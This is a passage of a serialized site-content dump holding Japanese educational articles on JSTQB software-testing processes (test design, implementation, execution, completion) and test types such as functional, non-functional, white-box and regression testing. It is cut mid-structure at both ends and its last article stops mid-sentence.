by":68,"date":3947,"description":3948,"extension":71,"meta":3949,"navigation":73,"path":3950,"sections":75,"seo":3951,"stem":3952,"thumbnail":3953,"__hash__":3954},"content_ja\u002Fja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2.md","基本的なテストプロセスにおけるテストの活動・Part 2",{"type":8,"value":3787,"toc":3945},[3788,3794,3801,3804,3809,3812,3815,3820,3823,3826,3829,3834,3837,3842,3845,3853,3858,3861,3864,3867,3872,3875,3878,3881,3886,3889,3892,3897,3900,3905,3908,3913,3916,3921,3924,3929,3932,3935,3939],[11,3789,3790,3793],{},[57,3791,3792],{"href":3778},"基本的なテストプロセスにおけるテストの活動・Part１","では、「テスト計画」「テストのモニタリングとコントロール」「テスト分析」の、最初の3つのテストプロセスにおける活動を紹介しました。本記事では、次に続く2つの活動を一緒に見ていきましょう。",[31,3795,3796,3799],{},[34,3797,3798],{},"テスト設計 ",[34,3800,3663],{},[11,3802,3803],{},"テスト分析段階でテスト対象を特定した後、その対象をどのように検証するかを明確にする必要があります。この活動が「テスト設計」と呼ばれます。",[11,3805,3806],{},[20,3807,3808],{},"④テスト設計",[11,3810,3811],{},"テスト分析で明確にしたテスト条件を元にして、高位レベルテストケース、および他のテストウェア（テストデータやテスト環境設計書）を設計していきます。これが「テスト設計」と呼ばれます。",[11,3813,3814],{},"テスト設計活動には、次の4つの主な活動があります。",[11,3816,3817],{},[20,3818,3819],{},"テストケース及ぶテストケースのセットを設計し、優先度を割り当てる",[11,3821,3822],{},"テストベース分析が完了した後、テスト計画に基づいてテスト設計を開始し、大項目から中項目といった粒度でテスト条件を高位レベルのテストケースに変換します。高位レベルのテストケースとはテスト手順や期待結果などの詳細を含めないものです。",[11,3824,3825],{},"このように、テスト手順や期待結果などを詳細に検証するのではなく、テスト条件を網羅するようにテストを設計していきます。この網羅性を満たすためには、要件や仕様に対するカバレッジと、システムやソフトウェアの構造に対するカバレッジの両方を考慮する必要があります。",[11,3827,3828],{},"また、テストアプローチに基づいて、テストケースごとに優先度を割り当てます。",[11,3830,3831],{},[20,3832,3833],{},"テスト条件とテストケースを支援するために必要なテストデータを識別する",[11,3835,3836],{},"各項目レベル（単体テスト）や項目が結合したシステムレベル（結合テスト）で用意すべきテストデータの違いを検証し、必要なテストデータを識別します。また、検証レベルごとに適切なテストデータを明確にします。",[11,3838,3839],{},[20,3840,3841],{},"テスト環境を設計し、必要なインフラストラクチャーやツールを識別する",[11,3843,3844],{},"物理的と論理的な両方の視点から、必要なテスト環境を識別します。",[31,3846,3847,3850],{},[34,3848,3849],{},"**物理的な視点では、**テスト環境と開発環境を分ける必要があるかどうかを検証します。ミルドウェア、オペレーティングシステムのバージョン、バンドルアプリケーションの種類、ネットワーク連携アプリケーションなどを考慮して、適切な組み合わせを検証します。",[34,3851,3852],{},"**論理的な視点では、**テスト実行時におけるファームウェアやミドルウェアの可変パラメーターのデフォルト値や、可変なテーブルの設定を検証します。",[11,3854,3855],{},[20,3856,3857],{},"テストベース、テスト条件、テストケースの間で双方向のトレーサビリティを確立する",[11,3859,3860],{},"開発が進む中で、双方向のトレーサビリティを確立できない場合はプロダクトの開発における一貫性を保つことができません。",[11,3862,3863],{},"例えば、要件定義書があり、そのトレーサビリティが確立されていれば、要件定義書に変更があった場合に関連するテストケースを早期に特定でき、一貫性を保つために適切な修正を行うことができます。",[11,3865,3866],{},"逆に、トレーサビリティの管理が不十分な場合は、テストケースと要件の間に変更のずれが生じやすく、重大な欠落や誤りを引き起こすことがあります。",[11,3868,3869],{},[20,3870,3871],{},"⑤テスト実装",[11,3873,3874],{},"テスト実装段階では、テスト設計で作成された高位レベルのテストケースから詳細なテストシナリオやテスト手順を作成します。また、テスト環境の構築もこの活動に含まれます。",[11,3876,3877],{},"さらに、テスト担当者に必要なスキルも特定し、テストケースやテスト手順はテスト担当者のレベルに合わせて記載する必要があります。",[11,3879,3880],{},"テスト実装には以下の6つの主要な活動が含まれます。",[11,3882,3883],{},[20,3884,3885],{},"テスト手順を開発して優先順位を割り当てる。場合によって自動化のテストスクリプトを作成する",[11,3887,3888],{},"テスト設計に基づいてテストケースとテスト手順の作成を行います。テスト実行の優先順位はテスト計画とテスト設計によって決定されます。ただし、この優先順位は実装上に変更されることがあります。",[11,3890,3891],{},"自動テストの場合は、手動テストの実行を自動化する方法と、テスト対象からツールを使用して自動的にテストケースやテスト手順を生成する方法があります。それぞれの方法に応じて、テストスクリプトを準備しておきます。 ",[11,3893,3894],{},[20,3895,3896],{},"テスト手順やテストスクリプト（あれば）からテストスイートを作成する",[11,3898,3899],{},"一般的には、テスト手順やテストデータの作成とテストハーネスの準備は並行して行いますが、その前提としてはテストハーネスの仕様が決まっている必要があります。テストハーネスを使用してテストデータを作成する場合はテストハーネスが完成するまで待ってからテストデータを準備することになります。その後、テストスクリプトを作成します。このような成果物をまとめてテストスイートを整備します。",[11,3901,3902],{},[20,3903,3904],{},"効率的なテスト実行ができるためにテスト実行スケジュールでテストスイートを調整する",[11,3906,3907],{},"テストスイートはテスト手順やテストハーネスの準備、片づけなどテスト実行の効率を考慮してテストケースをまとめたものです。テストスイートの作成はスケジュールに従うだけでなく、テストの目的も考慮する必要があります。もしテストの目的が機能の確認であれば、同じ機能に関連するテストシナリオを1つのテストスイートにまとめることになります。",[11,3909,3910],{},[20,3911,3912],{},"テスト環境を構築し、必要なものが全て正しくセットアップされていることを確認する",[11,3914,3915],{},"テスト実行前に、テストツールやテストハーネス、シミュレーション環境など、必要なインフラストラクチャーの準備もこの活動に含まれます。テスト対象となるシステムの範囲はテスト計画によって決定されます。タスク管理においては、テスト環境の全体的な構築に関するタスクと、日々のテスト実行の準備に関するタスクを分けて管理します。",[11,3917,3918],{},[20,3919,3920],{},"テストデータを準備して、テスト環境に適切に読み込ませてあることを確認する",[11,3922,3923],{},"テスト対象が派生開発（バージョンアップや仕様変更など）の場合、既存のシステムで実際に使用されたデータを活用することがあります。ただし、そのデータには個人情報や機密情報などのセンシティブな情報が含まれている可能性があるので、十分な注意が必要です。",[11,3925,3926],{},[20,3927,3928],{},"テストベース、テスト条件、テストケース、テスト手順、テストスイートの間で双方向のトレーサビリティを検証し更新する",[11,3930,3931],{},"テストベース、テスト条件、テストケース、テスト手順、テストスイートの間で双方向のトレーサビリティを検証し更新することは、すべての要件とテスト条件が連携され、一貫性を保ちながら管理されていることを確認するためのプロセスです。このプロセスは、全ての要件を漏れなく網羅し、開発段階でエラーや問題を発見することにより、リスクを最小限に抑えるのに役立ちます。さらに、双方向のトレーサビリティを維持することで、関連するテスト条件やテストケースを明確に特定し、テストプロセスを最適化します。これにより、ソフトウェアの品質が向上し、テストの効率も高まります。",[11,3933,3934],{},"本記事では、ソフトウェアテストプロセスにおける2つの活動について学びました。以下のリンクにあるミニテストを行って、これらの活動に関する知識を確認してみましょう！",[11,3936,3937],{},[20,3938,3767],{},[11,3940,3941],{},[57,3942,3943],{"href":3943,"rel":3944},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-2-2-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":3946},[],"2024-11-13","基本的なテストプロセスにおけるテストの活動・Part１では、「テスト計画」「テストのモニタリングとコントロール」「テスト分析」の、最初の3つのテストプロセスにおける活動を紹介しました。本記事では、次に続く2つの活動を一緒に見ていきましょう。テスト設計 & テスト実装テスト分析段階でテスト対象を特定した後、その対象をどのように検証するかを明確にする必要があります。この活動が「テスト設計」と呼ばれます。",{},"\u002Fja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2",{"title":3785,"description":3948},"ja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-2","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F12144300\u002FScreenshot-2024-11-12-144235.png","1yFl2XCH2Q4PDk3DYdCXfBJ56CV-1DDRfylRBE_t5GY",{"id":3956,"title":3957,"body":3958,"category":353,"created by":68,"date":4130,"description":4131,"extension":71,"meta":4132,"navigation":73,"path":4133,"sections":75,"seo":4134,"stem":4135,"thumbnail":4136,"__hash__":4137},"content_ja\u002Fja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3.md","基本的なテストプロセスにおけるテストの活動・Part 3",{"type":8,"value":3959,"toc":4128},[3960,3966,3972,3977,3980,3985,3988,3993,3996,4001,4004,4009,4012,4017,4020,4025,4028,4033,4036,4040,4043,4048,4051,4054,4056,4059,4064,4067,4072,4075,4078,4089,4092,4101,4104,4109,4112,4115,4118,4122],[11,3961,3962,3965],{},[57,3963,3964],{"href":3950},"基本的なテストプロセスにおけるテストの活動・Part２","では、「テスト設計」「テスト実装」の２つのテストプロセスにおける活動を紹介しました。本記事では、次に最後の2つの活動を一緒に見ていきましょう。",[31,3967,3968,3970],{},[34,3969,3666],{},[34,3971,3669],{},[11,3973,3974],{},[20,3975,3976],{},"⑥テスト実行",[11,3978,3979],{},"テスト実行活動には、次の主な活動があります。",[11,3981,3982],{},[20,3983,3984],{},"テストアイテムまたはテスト対象、テストツール、テストウェアのIDとバージョンを記録する",[11,3986,3987],{},"テスト実行を始める際には、テストケースに必要な情報を記録します。テスト対象となるソフトウェアは明確な場合が多いですが、どのバージョンをテストするかは実行直前に確認する必要があります。また、テストデータやテストツールを使用する場合、それらのバージョンやスクリプト情報もテストウェアのIDとして記録します。テスト結果は、定められたテストケースや手順に従い、記録として残します。近年の開発環境では、これらの記録を自動でログに残す設定が可能なシステムもあります。",[11,3989,3990],{},[20,3991,3992],{},"手動で、またはテスト実行ツールを使用してテスト実行する",[11,3994,3995],{},"テスト手順に基づき、テストは人やテスト実行ツールによって実施されます。テスト対象を直接操作する場合もあれば、リモートアクセスを通じて遠隔で操作する場合もあります。また、統合開発環境を利用したテスト実行など、さまざまな方法でテストを実行することが可能です。",[11,3997,3998],{},[20,3999,4000],{},"実行結果と期待する結果を比較する",[11,4002,4003],{},"テストケースや手順に定められた確認項目や判定基準、およびテスト全体の合否を決める標準文書の定義とテスト結果を照合します。結果が一致している場合や、単に測定目的の項目である場合は、テストを合格または完了として記録し、次のテストケースの実行に進みます。",[11,4005,4006],{},[20,4007,4008],{},"不正を分析して、可能性がある原因を特定する",[11,4010,4011],{},"テストケースの記述やテスト設計の基盤となるテストベースと照らし合わせて、何が不適切な動作かを分析します。テスト対象を操作した順序に起因するのか、または使用するテストデータを変更した際にも不正が発生するのかなど、原因を特定するために、不正が発生するパターンやケースを特定していきます。",[11,4013,4014],{},[20,4015,4016],{},"故障を観察し、観察に基づいて欠陥を報告する",[11,4018,4019],{},"テスト結果がテストケースで設定された期待結果と異なり、不正の分析から故障や欠陥と判断された場合、欠陥レポートとして報告します。報告をまとめる際には、故障として観察された直接的な事象だけでなく、他の要因によって同様の問題が発生する可能性や、該当テストケース以外に影響がないかどうかも考慮して含めるようにします。",[11,4021,4022],{},[20,4023,4024],{},"テスト実行の結果を記録する",[11,4026,4027],{},"テストケースごとの結果を期待値と比較し、合格か不合格かを判断します。不合格の場合は欠陥レポートを作成し、同じ手順で実行しても不合格が予想されるテストケース（ブロックケース）も記録します。ブロックとは、外部要因でテスト実行が妨げられている場合を指し、環境が整わない状況（ソフトウェアライセンスの購入待ちや機器の使用順番待ちなど）も記録します。テスト結果は、コンピュータデータファイルや手書きメモ、測定結果を含めて具体的に残し、実行環境や使用ソフトウェア、テストツールの構成やバージョン、テストウェアのIDもエビデンスとして記録します。",[11,4029,4030],{},[20,4031,4032],{},"不正への対応の結果、または計画したテストの一環として、テスト活****動を繰り返す",[11,4034,4035],{},"不正を欠陥レポートとして登録し、修正が行われた場合には確認テストを実施します。確認テストは、修正されたテスト対象がテスト環境にリリースされた直後に行うこともあれば、テスト実行スケジュールに基づいて集中して行う期間を設け、そのタイミングでまとめて実施することもあります。また、確認テストとは別に、既存機能への影響を確認するためにリグレッションテストを計画して行います。",[11,4037,4038],{},[20,4039,3928],{},[11,4041,4042],{},"テストが要件や仕様に基づいて正しく実施されていることを確認し、各要素が互いに正しくリンクしているかを見直すプロセスです。これにより、テスト実行の過程で変更や修正があった場合も、それがすべての関連要素に反映され、整合性が保たれます。",[11,4044,4045],{},[20,4046,4047],{},"⑦テスト完了",[11,4049,4050],{},"テスト完了では、テストケースや欠陥レポートなどの成果物をまとめ、テスト計画の目的が達成されたかを確認します。コードカバレッジや要件に対するテストの十分性、非機能要件のカバー、システム構成の網羅性を評価し、テスト終了基準に基づいて結果を分析します。バグ管理図やメトリクスも基準として、欠陥の収束状況やテストの進捗を確認します。",[11,4052,4053],{},"また、計画値段での終了基準はあくまでテスト開始前の仕様や品質の前提を基に決められますが、進捗に伴う仕様変更や顧客ニーズの変化により見直されることがあります。そのため、完了のタイミングはプロジェクト形態によって異なり、テストレベル移行時や全テスト終了時、またはアジャイル型では各イテレーションごとに実施されることがあります。また、場合によってはテストが打ち切られることもあります。",[11,4055,3934],{},[11,4057,4058],{},"以下がその主な活動になります。",[11,4060,4061],{},[20,4062,4063],{},"すべての欠陥レポートがクローズしていることを確認する。またはテスト実行の終了時に未解決として残されている欠陥について変更要求またはプロダクトバックログアイテムを作成する",[11,4065,4066],{},"以前のテストレベルや現在のテストレベルで発行された未解決の欠陥レポートが残っているかを確認します。問題が解決している場合は、そのレポートを完了・クローズします。次のテストレベルで修正することが決まっている場合は、欠陥レポートを次のレベルに引き継ぐか、未対応の場合はプロダクトバックログアイテムとして記録し、対応漏れがないようにします。",[11,4068,4069],{},[20,4070,4071],{},"テストサマリーレポートを作成して、ステークホルダーに提出する",[11,4073,4074],{},"テスト結果を終了基準と比較・分析し、テストレベルが終了可能かどうかを判断するために、ステークホルダーへ報告するドキュメントを作成します。このレポートでは、テストの合格率や欠陥レポートの件数と対応状況などを整理し、テストに関連する全ステークホルダーに報告します。",[11,4076,4077],{},"ステークホルダーは、テストが終了した際に直接的または間接的に影響を受ける関係者で、テストレベルや対象によって異なります。最終的に、テスト結果と終了基準に基づいた分析により、テストレベルの終了や打ち切りについてステークホルダーの合意が得られれば、テストレベルの終了が宣言されます。しかし、現実には、開発責任者の指示で終了することもあり、その場合はステークホルダーは開発責任者となります。テストマネジメントの証拠を残す場合は、モニタリングやコントロールの結果を収集・分析し、文書としてまとめます。特に独立したテストチームが担当する場合、この結果を文書化するのも重要な活動の一環です。",[11,4079,4080],{},[20,4081,4082,4083,4088],{},"テスト環境、テストデータ、テストインフラストラクチャー、その他のテストウェアを次回も使える",[20,4084,4085],{},[20,4086,4087],{},"ように整","理し保管する",[11,4090,4091],{},"再利用可能なテストがある場合、そのための整理やメンテナンスを行います。テストウェアの直接的な修正や、ガイドラインやトレーニング資料の整備、テストツールのバージョンアップ後も使えるようにテストスクリプトを調整するなど、再利用のための作業には一定の労力が必要です。プロダクトのバージョンアップや異なる機種への移植がある場合、次のリリースや機種に対応できるように、テストケースやテストベース、テスト手順などをメンテナンスします。",[11,4093,4094,4097,4098],{},[20,4095,4096],{},"テストウェアをメンテナンスチーム、他のプロジェクトチーム、および","**／**",[20,4099,4100],{},"またはその使用により利益を得る可能性のある他のステークホルダーに引き継ぐ",[11,4102,4103],{},"プロジェクトの開発部門と保守部門が異なる場合、テストウェア一式を保守部門に引き渡します。保守部門は、テスト結果を基にプロダクトの品質状況を把握したり、リリース後に欠陥が見つかった際のトラブルシューティングにテストウェアを活用します。",[11,4105,4106],{},[20,4107,4108],{},"収集した情報をテストプロセスの成熟度を改善するために利用する",[11,4110,4111],{},"このタスクを実施するため、テスト終了後に当該テストレベルの全ステークホルダーが集まる「ポストモーテム」（振り返り会）を開催します。この会議では、テストコントロールに関する課題やテスト結果を基に、プロセスやテストウェアを改善するための良い点と悪い点を率直に議論します。",[11,4113,4114],{},"ポストモーテムで得られた改善点を次のテストレベルやプロジェクトに引き継ぐ体制を整えないと、振り返りがその場限りになり、改善にはつながりません。そのため、議事録やアクションアイテムリストを作成し、マネジメント層がフォローすることが重要です。",[11,4116,4117],{},"本記事では、ソフトウェアテストプロセスにおける最後の2つの活動について学びました。以下のリンクにあるミニテストを行って、これらの活動に関する知識を確認してみましょう！",[11,4119,4120],{},[20,4121,3767],{},[11,4123,4124],{},[57,4125,4126],{"href":4126,"rel":4127},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-2-3-jp",[61],{"title":64,"searchDepth":65,"depth":65,"links":4129},[],"2024-11-19","基本的なテストプロセスにおけるテストの活動・Part２では、「テスト設計」「テスト実装」の２つのテストプロセスにおける活動を紹介しました。本記事では、次に最後の2つの活動を一緒に見ていきましょうテスト実行 & テスト完了。⑥テスト実行。テスト実行活動には、次の主な活動があります。テストアイテムまたはテスト対象、テストツール、テストウェアのIDとバージョンを記録する。テスト実行を始める際には、テストケースに必要な情報を記録します。テスト対象となるソフトウェアは明確な場合が多いですが、どのバージョンをテストするかは実行直前に確認する必要があります。また、テストデータやテストツールを使用する場合、それらのバージョンやスクリプト情報もテストウェアのIDとして記録します。テスト結果は、定められたテストケースや手順に従い、記録として残します。近年の開発環境では、これらの記録を自動でログに残す設定が可能なシステムもあります。",{},"\u002Fja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3",{"title":3957,"description":4131},"ja\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-3","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F11\u002F18162231\u002FScreenshot-2024-11-18-162139.png","1ic8O5xMbQn7mDG8bv3JFdSHe7ucBR07MOcqigHl41g",{"id":4139,"title":2948,"body":4140,"category":353,"created by":68,"date":4590,"description":4144,"extension":71,"meta":4591,"navigation":73,"path":4592,"sections":75,"seo":4593,"stem":4594,"thumbnail":4595,"__hash__":4596},"content_ja\u002Fja\u002Fnews\u002Fcac-loai-kiem-thu.md",{"type":8,"value":4141,"toc":4584},[4142,4145,4151,4154,4159,4162,4165,4170,4173,4178,4181,4186,4189,4194,4197,4203,4206,4211,4214,4219,4222,4227,4230,4235,4238,4243,4246,4251,4254,4259,4262,4267,4270,4275,4278,4283,4286,4291,4294,4298,4301,4306,4309,4315,4318,4322,4325,4329,4332,4337,4340,4345,4348,4353,4356,4367,4373,4376,4387,4390,4393,4401,4404,4409,4412,4415,4419,4422,4425,4428,4433,4436,4439,4447,4450,4453,4456,4459,4479,4484,4487,4492,4495,4500,4503,4508,4511,4516,4519,4522,4527,4530,4538,4541,4544,4547,4550,4553,4573,4578],[11,4143,4144],{},"テストタイプは、目的に応じて異なり、機能的な品質（完全性、正確性など）だけでなく、非機能的な品質（信頼性、使用性など）も評価します。また、システム構造の確認や欠陥修正、変更による影響も確認します。この記事では、その基本的な概念を解説します。",[495,4146,4148],{"id":4147},"_1機能テスト",[20,4149,4150],{},"1\u002F機能テスト",[11,4152,4153],{},"機能とは「何をするか」を指し、「どのように動作するか」を意味するものではありません。機能テストの目的は、機能が仕様に従って正しく実装されているかを確認することです。",[11,4155,4156],{},[20,4157,4158],{},"テストレベル",[11,4160,4161],{},"機能テストの対象には、システムやコンポーネントを統合したサブシステムなど、さまざまなものがあります。機能テストは複数のテストレベルで実施されます。コンポーネント仕様に基づく場合はコンポーネントレベルの機能テストとなり、システム仕様（ユーザーに提供する機能）に基づく場合はシステムテストレベルになります。",[11,4163,4164],{},"例えば、コンポーネントテストレベルでは機能テストが重要視され、システムテストレベルでは非機能テストがより重視されるなど、テストレベルによって焦点が異なります。",[11,4166,4167],{},[20,4168,4169],{},"テスト技法",[11,4171,4172],{},"機能テストはソフトウェアの外部の動作や振る舞いを評価するため、ブラックボックステスト技法を使用します。これには、同値分割法、境界値分析、デシジョンテーブルテスト、状態遷移テスト、ユースケーステストなどが含まれます。",[11,4174,4175],{},[20,4176,4177],{},"テストカバレッジ",[11,4179,4180],{},"機能テストのカバレッジは、機能の網羅性、すなわち機能カバレッジによって評価されます。これは、テストで実行した機能が全体のどのくらいの割合を占めているかを示します。システムテストレベルの機能テストのカバレッジは、実行された機能要件の割合で表されます。",[11,4182,4183],{},[20,4184,4185],{},"ソフトウェアが解決する特定のビジネス問題",[11,4187,4188],{},"例えば、石油の探査では、いくつかの測定データをもとに石油が埋蔵されている可能性を推測します。この推測結果が地質モデルと呼ばれますが、地質モデルを作成するソフトウェアを開発するには、石油探鉱や油田開発のビジネスの仕組みについての知識が必要です。",[11,4190,4191],{},[20,4192,4193],{},"ソフトウェアの役割",[11,4195,4196],{},"例えば、対話型コンピューターゲームでは、通常人間同士が行う机上ゲームの役割をコンピューターが担い、1人でも遊べるようにしています。さらに、コンピューターがユーザーと会話し、応答することもありますが、その会話がゲームの進行に影響を与えるため、適切な応答が求められます。テストを行うためには、ゲームのシナリオや、ゲームを楽しむために適切な会話内容を理解しておくことが重要です。",[495,4198,4200],{"id":4199},"_2-非機能テスト",[20,4201,4202],{},"2\u002F 非機能テスト",[11,4204,4205],{},"非機能とは、文字通り「機能」以外の要素を指します。つまり、非機能は「どのように動作するか（How）」に関することであり、「何をするか（What）」ではありません。非機能テストの目的は、コンポーネントやシステムの特性、例えば性能、使いやすさ、セキュリティなどを評価することです。",[11,4207,4208],{},[20,4209,4210],{},"テストタイプの例",[11,4212,4213],{},"非機能テストには、さまざまなテストがあります。例えば、性能テスト、ロードテスト、ストレステスト、ユーザビリティテスト、相互運用性テスト、保守性テスト、信頼性テスト、移植性テストなどがあります。",[11,4215,4216],{},[20,4217,4218],{},"性能テスト (performance testing)",[11,4220,4221],{},"ソフトウェア製品の性能を判定するためのテストです。",[11,4223,4224],{},[20,4225,4226],{},"負荷テスト (Load Testing)",[11,4228,4229],{},"性能テストの一種で、コンポーネントやシステムがさまざまな負荷状況でどのように動作するかを評価します。一般的に、想定される最低、通常、ピークの負荷を基準にテストを行います。",[11,4231,4232],{},[20,4233,4234],{},"ストレステスト (Stress Testing)",[11,4236,4237],{},"性能テストの一つで、想定以上の負荷や、メモリやサーバーのリソースが不足している状態でシステムやコンポーネントの動作を評価します。",[11,4239,4240],{},[20,4241,4242],{},"使用性テスト (Usability Testing)",[11,4244,4245],{},"特定のユーザーが特定の状況下でシステムを利用する際に、その有効性、効率性、満足度を測定するために実施されるテストです。",[11,4247,4248],{},[20,4249,4250],{},"相互運用性テスト (Interoperability Testing)",[11,4252,4253],{},"複数のコンポーネントやシステムが情報を交換し、相互に利用できるかどうかを確認するためのテストです。",[11,4255,4256],{},[20,4257,4258],{},"保守性テスト (Maintainability Testing)",[11,4260,4261],{},"ソフトウェアが意図した保守者によって修正や変更をどれだけ容易に行えるかを測定するためのテストです。",[11,4263,4264],{},[20,4265,4266],{},"信頼性テスト (Reliability Testing)",[11,4268,4269],{},"コンポーネントやシステムが、指定された条件下で要求された機能を安定的に実行できるかを確認するテストです。",[11,4271,4272],{},[20,4273,4274],{},"移植性テスト (Portability Testing)",[11,4276,4277],{},"ソフトウェアが異なる環境間で問題なく移行できるかを評価します。ここでの環境には、ハードウェア、ソフトウェア、または組織の違いが含まれます。",[11,4279,4280],{},[20,4281,4282],{},"セキュリティテスト (Security Testing)",[11,4284,4285],{},"システムやデータが認可された権限内で正しく保護され、データへのアクセスが適切に制御されているかを確認するテストです。",[11,4287,4288],{},[20,4289,4290],{},"テスト方法",[11,4292,4293],{},"非機能テストでは、ブラックボックステスト技法が活用できます。例えば、性能テストにおけるストレス条件を設定する際に、境界値分析が用いられる場合があります。",[11,4295,4296],{},[20,4297,4177],{},[11,4299,4300],{},"非機能テストのカバレッジは、非機能要素がどの程度網羅されているかで評価します。例えば、モバイルアプリの非機能テストとしてデバイス互換性テストを実施する場合、定義された全デバイスの中でテストを実行したデバイスの割合によってカバレッジが測定されます。",[11,4302,4303],{},[20,4304,4305],{},"特定のユーザーの知識",[11,4307,4308],{},"例えば、医療施設で使用される電子カルテシステムでは、患者の個人情報を安全に管理する必要があります。複数の看護師や医師が使用する際、不正に個人情報を閲覧できない仕組みを確保するために、利用状況やタイミングに応じたテストが求められます。",[495,4310,4312],{"id":4311},"_3-ホワイトボックステスト",[20,4313,4314],{},"3\u002F ホワイトボックステスト",[11,4316,4317],{},"ホワイトボックステストは、システムの内部構造や実装を基にテストケースを設計するテスト手法です。このテストの目的は、コンポーネントやシステムの構造やアーキテクチャが正確で完全であり、仕様に従っていることを確認することです。",[11,4319,4320],{},[20,4321,4169],{},[11,4323,4324],{},"ホワイトボックステストは、ソフトウェアの構造がテストケースによってどの程度カバーされているかを確認するテスト手法です。このため、ホワイトボックステスト技法に分類される手法を使用します。",[11,4326,4327],{},[20,4328,4177],{},[11,4330,4331],{},"ホワイトボックステストのカバレッジは、構造要素の網羅性（構造カバレッジ）で評価されます。コンポーネントテストやコンポーネント統合テストでは、ツールを用いてコードのカバレッジを測定します。一方、システムテストや受け入れテストでは、メニュー構造やビジネスモデルのカバレッジが測定対象となります。",[11,4333,4334],{},[20,4335,4336],{},"コンポーネントテストレベルの例",[11,4338,4339],{},"コンポーネントテストでは、コードカバレッジを指標として使用します。これは、コンポーネント内で実行されたステートメントの割合を基に、テストの網羅度を評価するものです。",[11,4341,4342],{},[20,4343,4344],{},"コンポーネント統合テストレベルの例",[11,4346,4347],{},"コンポーネント統合テストでは、コンポーネント間のインターフェースを構造要素とし、テストされたインターフェースの割合を基に網羅度を測定します。",[11,4349,4350],{},[20,4351,4352],{},"必要となる知識",[11,4354,4355],{},"ホワイトボックステストの設計や実施には、以下のような専門的なスキルや知識が必要になる場合があります。",[31,4357,4358,4361,4364],{},[34,4359,4360],{},"コードのビルド方法：例えば、コードカバレッジツールを利用する際には、ソースコードファイルの構成やビルド手順に関する知識が必要です。",[34,4362,4363],{},"データの格納方法：物理スキーマの配置に関する理解が必要で、これにより可能なデータベースクエリーを評価できます。",[34,4365,4366],{},"カバレッジツールの利用と結果の解釈：ツールの適切な使用方法や、生成された結果を正しく理解するスキルが求められます。",[495,4368,4370],{"id":4369},"_4-変更部分のテスト",[20,4371,4372],{},"4\u002F 変更部分のテスト",[11,4374,4375],{},"従来とは異なる観点からのテストタイプを紹介します。テストを実行して欠陥を発見した場合、修正後に再度テストを行う必要があります。同様に、機能の追加や変更によってシステムが更新された場合も、既存のテストを再実行する必要があります。その主な目的は以下の通りです。",[31,4377,4378,4381,4384],{},[34,4379,4380],{},"修正した欠陥が解消されていることを確認する",[34,4382,4383],{},"機能が正しく動作していることを確認する",[34,4385,4386],{},"予期しない悪影響が発生していないことを確認する",[11,4388,4389],{},"イテレーティブやインクリメンタル開発（例: アジャイル）では、新機能の追加や既存機能の変更、コードのリファクタリングが頻繁に行われるため、変更部分のテストが不可欠です。また、IoT（モノのインターネット）システムのように、デバイスの更新や交換が頻繁に行われる場合も同様に重要です。",[11,4391,4392],{},"変更部分のテストには以下の2種類があります。",[31,4394,4395,4398],{},[34,4396,4397],{},"確認テスト：修正された欠陥が正しく解消されているかを確認するテスト",[34,4399,4400],{},"リグレッションテスト：新たな欠陥が作り込まれていないか、また意図しない影響が発生していないかを確認するテスト",[11,4402,4403],{},"システムは常に進化を続けるため、確認テストとリグレッションテストは欠かせない重要なテストです。",[11,4405,4406],{},[20,4407,4408],{},"確認テスト",[11,4410,4411],{},"確認テストは、欠陥を修正した後、この欠陥に起因する故障が再現しなくなることを確認するためのテストです。",[11,4413,4414],{},"確認テストでは、修正後のプログラムを再実行し、欠陥が解消されたことを確認します。場合によっては、新しいテストケースを追加して実施することもあります。ただし、確認テストは開発活動であるデバッグと混同しないよう注意が必要です。",[11,4416,4417],{},[20,4418,2967],{},[11,4420,4421],{},"リグレッションテストは、すでにテスト済みのソフトウェアを繰り返し検証するテストです。これにより、変更によって生じた新たな欠陥や修正が原因で発生した別の問題、あるいは意図しない副作用を検出することを目的としています。",[11,4423,4424],{},"欠陥は修正されたコンポーネントだけでなく、関連する他のコンポーネントにも影響を及ぼす可能性があります。そのため、リグレッションテストでは実施範囲を適切に設定することが重要です。範囲の決定には、動作していたソフトウェアに欠陥がある場合のリスク（プロダクトリスク）を考慮します。",[11,4426,4427],{},"また、ソフトウェアの動作環境が変更された場合や、新しいOSやデータベース管理システムなどに移行した場合にもリグレッションテストが必要です。いつでも迅速にテストを実行できるよう、適切なテストスイートを整備しておくことが求められます。",[11,4429,4430],{},[20,4431,4432],{},"メンテナンス（保守）テスト",[11,4434,4435],{},"ソフトウェアやシステムの開発が完了し、本番環境にリリースまたはデプロイされた後は、メンテナンス（保守）が必要になります。ソフトウェアやシステムは数年から場合によっては数十年にわたり使用され、その間に機能の追加、変更、削除が繰り返し行われます。また、動作環境の変化に応じた改修も必要です。さらに、開発中に徹底的なテストを実施しても、リリース後に欠陥が見つかることは避けられず、それらの修正も求められます。このように、メンテナンス期間中には多様な変更が生じます。",[11,4437,4438],{},"これらの変更に対応して行うのがメンテナンステストです。メンテナンステストの主な目的は以下の2つです。",[31,4440,4441,4444],{},[34,4442,4443],{},"変更が正しく反映されていることを確認する",[34,4445,4446],{},"システムの変更していない部分に意図しない影響（リグレッション）がないことを確認する",[11,4448,4449],{},"メンテナンス期間中には、ソフトウェアのバージョンやリビジョンを更新するリリースが複数回行われます。これには、計画的な機能追加を伴うリリースと、欠陥修正のための緊急パッチ提供などの非計画的なリリースの両方が含まれます。いずれのリリースにおいてもメンテナンステストは欠かせません。",[11,4451,4452],{},"メンテナンステストでは、機能テストだけでなく非機能テストも実施する必要があります。たとえば、性能向上を目的とした変更が行われた場合、性能テストを行うのはもちろんですが、機能の変更によって性能が低下していないことを確認する